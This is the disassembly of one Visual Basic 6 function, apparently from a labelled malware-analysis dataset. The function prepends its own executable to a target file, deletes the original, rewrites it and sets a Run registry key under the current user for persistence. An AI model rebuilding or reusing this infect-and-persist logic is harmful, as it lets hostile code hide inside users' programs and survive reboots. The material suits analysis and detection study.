Function at 0x4055b0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x401396
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0xe0
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401300
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
push 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcSetFileAttr]
mov dword [ebp - 4], 4
cmp dword [0x4074e4], 0
jne 0x405645
push 0x4074e4
push 0x402fe4
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xec], 0x4074e4
jmp 0x40564f
mov dword [ebp - 0xec], 0x4074e4
mov edx, dword [ebp - 0xec]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
lea ecx, [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x4056a7
push 0x14
push 0x402fd4
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xf0], eax
jmp 0x4056b1
mov dword [ebp - 0xf0], 0
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0xc0], ecx
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc0]
push edx
call dword [ecx + 0x50]
fnclex
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jge 0x405704
push 0x50
push 0x402ff4
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xf4], eax
jmp 0x40570e
mov dword [ebp - 0xf4], 0
cmp dword [0x4074e4], 0
jne 0x405733
push 0x4074e4
push 0x402fe4
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0xf8], 0x4074e4
jmp 0x40573d
mov dword [ebp - 0xf8], 0x4074e4
mov edx, dword [ebp - 0xf8]
mov eax, dword [edx]
mov dword [ebp - 0xc8], eax
lea ecx, [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc8]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jge 0x405795
push 0x14
push 0x402fd4
mov edx, dword [ebp - 0xc8]
push edx
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0xfc], eax
jmp 0x40579f
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xd0], ecx
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xd0]
push edx
call dword [ecx + 0x58]
fnclex
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jge 0x4057f2
push 0x58
push 0x402ff4
mov eax, dword [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x100], eax
jmp 0x4057fc
mov dword [ebp - 0x100], 0
mov edx, dword [ebp - 0x38]
push edx
push 0x403008
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x403010
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 1
push 0xffffffffffffffff
push 0x20
call dword [sym.imp.MSVBVM60.DLL___vbaFileOpen]
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x38]
push edx
push 5
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x18
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x4c]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObjList]
add esp, 0xc
mov dword [ebp - 4], 5
push 0
push 1
call dword [sym.imp.MSVBVM60.DLL_rtcFileLength]
sub eax, 1
jo 0x405ca6
push eax
push 1
push 0x11
push 0x40704c
push 1
push 0x80
call dword [sym.imp.MSVBVM60.DLL___vbaRedim]
add esp, 0x1c
mov dword [ebp - 4], 6
push 1
call dword [sym.imp.MSVBVM60.DLL_rtcFileLength]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x90], 3
lea edx, [ebp - 0x90]
mov ecx, 0x407050
call dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
mov dword [ebp - 4], 7
push 1
push 1
push 0x40704c
push 0x403a10
call dword [sym.imp.MSVBVM60.DLL___vbaGetOwner4]
mov dword [ebp - 4], 8
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaFileClose]
mov dword [ebp - 4], 9
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
push 1
push 0xffffffffffffffff
push 0x20
call dword [sym.imp.MSVBVM60.DLL___vbaFileOpen]
mov dword [ebp - 4], 0xa
push 0
push 1
call dword [sym.imp.MSVBVM60.DLL_rtcFileLength]
sub eax, 1
jo 0x405ca6
push eax
push 1
push 0x11
push 0x407048
push 1
push 0x80
call dword [sym.imp.MSVBVM60.DLL___vbaRedim]
add esp, 0x1c
mov dword [ebp - 4], 0xb
push 1
push 1
push 0x407048
push 0x403a10
call dword [sym.imp.MSVBVM60.DLL___vbaGetOwner4]
mov dword [ebp - 4], 0xc
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaFileClose]
mov dword [ebp - 4], 0xd
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x90], 0x4008
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
mov dword [ebp - 4], 0xe
push 0
push 0xffffffffffffffff
push 0x403008
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x58], 0x80020004
mov dword [ebp - 0x60], 0xa
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x90], 0x4008
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0xb4]
add ecx, 1
jo 0x405ca6
push ecx
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
lea ecx, [ebp - 0x70]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea edx, [ebp - 0x70]
push edx
lea eax, [ebp - 0x60]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x90], 0x4008
push 0
push 0xffffffffffffffff
push 0x403878
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
jo 0x405ca6
push eax
lea eax, [ebp - 0x90]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcLeftCharVar]
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x10
push 0
push 0xffffffffffffffff
push 0x403878
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x60], 3
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x90], 0x4008
lea eax, [ebp - 0x60]
push eax
push 1
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x70]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
mov dword [ebp - 0xa8], 0x403a2c
mov dword [ebp - 0xb0], 8
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0xb0]
push ecx
lea edx, [ebp - 0x80]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
mov ecx, dword [ebp + 0xc]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x60]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
mov dword [ebp - 4], 0x11
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
push 1
push 0xffffffffffffffff
push 0x20
call dword [sym.imp.MSVBVM60.DLL___vbaFileOpen]
mov dword [ebp - 4], 0x12
push 1
push 0x40704c
push 0x403a10
call dword [sym.imp.MSVBVM60.DLL___vbaPutOwner3]
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x90], 2
push 1
push 0x407050
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarAdd]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaI4Var]
push eax
push 0x407048
push 0x403a10
call dword [sym.imp.MSVBVM60.DLL___vbaPutOwner4]
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x14
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaFileClose]
mov dword [ebp - 4], 0x15
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x24]
push eax
push 0x403350
push 0x80000001
lea ecx, [ebp - 0x60]
push ecx
call fcn.00405cb0
lea ecx, [ebp - 0x60]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
push 0x405c76
jmp 0x405c6c
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
ret
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
int3